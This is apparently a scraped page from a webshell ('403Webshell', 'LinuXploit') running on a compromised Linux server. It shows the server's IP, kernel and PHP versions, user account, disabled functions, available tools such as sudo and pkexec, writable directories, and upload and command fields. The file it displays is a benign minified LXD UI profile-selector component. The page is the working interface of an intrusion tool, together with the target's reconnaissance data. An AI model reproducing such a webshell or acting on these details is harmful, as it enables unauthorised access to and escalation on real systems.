403Webshell
Server IP : 13.213.54.232  /  Your IP : 216.73.216.72
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux ip-172-31-17-110 6.8.0-1029-aws #31~22.04.1-Ubuntu SMP Thu Apr 24 21:16:18 UTC 2025 x86_64
User : www-data ( 33)
PHP Version : 7.1.33-67+ubuntu22.04.1+deb.sury.org+1
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /snap/lxd/current/share/lxd-ui/assets/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /snap/lxd/current/share/lxd-ui/assets/ProfileSelector-b579b8c7.js
import{d as e,f as j,q as d,F as g,j as i,L as y,g as k}from"./index-13b2882d.js";const C=({project:c,selected:r,setSelected:l,title:u,isReadOnly:s=!1})=>{const m=e.useNotify(),{data:t=[],error:p,isLoading:h}=j({queryKey:[d.profiles],queryFn:()=>g(c)});if(h)return i.jsx(y,{text:"Loading profiles..."});p&&m.failure("Loading profiles failed",p),t.sort(k);const f=t.filter(a=>!r.includes(a.name)),b=()=>{var n;const a=(n=f.pop())==null?void 0:n.name;a&&l([...r,a])};return i.jsxs(i.Fragment,{children:[i.jsx(e.Label,{forId:"profile-1",children:"Profiles"}),r.map((a,n)=>i.jsxs(e.Row,{children:[i.jsx(e.Col,{size:8,children:i.jsx(e.Select,{id:`profile-${n}`,help:n>0&&n===r.length-1&&"Each profile overrides the settings specified in previous profiles",onChange:o=>{r[n]=o.target.value,l(r)},options:t.filter(o=>!r.includes(o.name)||r.indexOf(o.name)===n).map(o=>({label:o.name,value:o.name})),value:a,disabled:s,title:u})}),!s&&(n>0||r.length>1)&&i.jsxs(e.Col,{size:4,children:[i.jsx(e.Button,{appearance:"link",className:"profile-action-btn",onClick:()=>{const o=[...r];o.splice(n,1),o.splice(n-1,0,a),l(o)},type:"button","aria-label":"move profile up",title:"move profile up",disabled:n===0,children:i.jsx(e.Icon,{name:"chevron-up"})}),i.jsx(e.Button,{appearance:"link",className:"profile-action-btn",onClick:()=>{const o=[...r];o.splice(n,1),o.splice(n+1,0,a),l(o)},type:"button","aria-label":"move profile down",title:"move profile down",disabled:n===r.length-1,children:i.jsx(e.Icon,{name:"chevron-down"})}),n>0&&i.jsx(e.Button,{appearance:"link",className:"profile-delete-btn",onClick:()=>l(r.filter(o=>o!==a)),type:"button",children:"Delete"})]})]},a)),!s&&i.jsx(e.Button,{disabled:f.length===0,onClick:b,type:"button",children:"Add profile"})]})};export{C as P};

Youez - 2016 - github.com/yon3zu
LinuXploit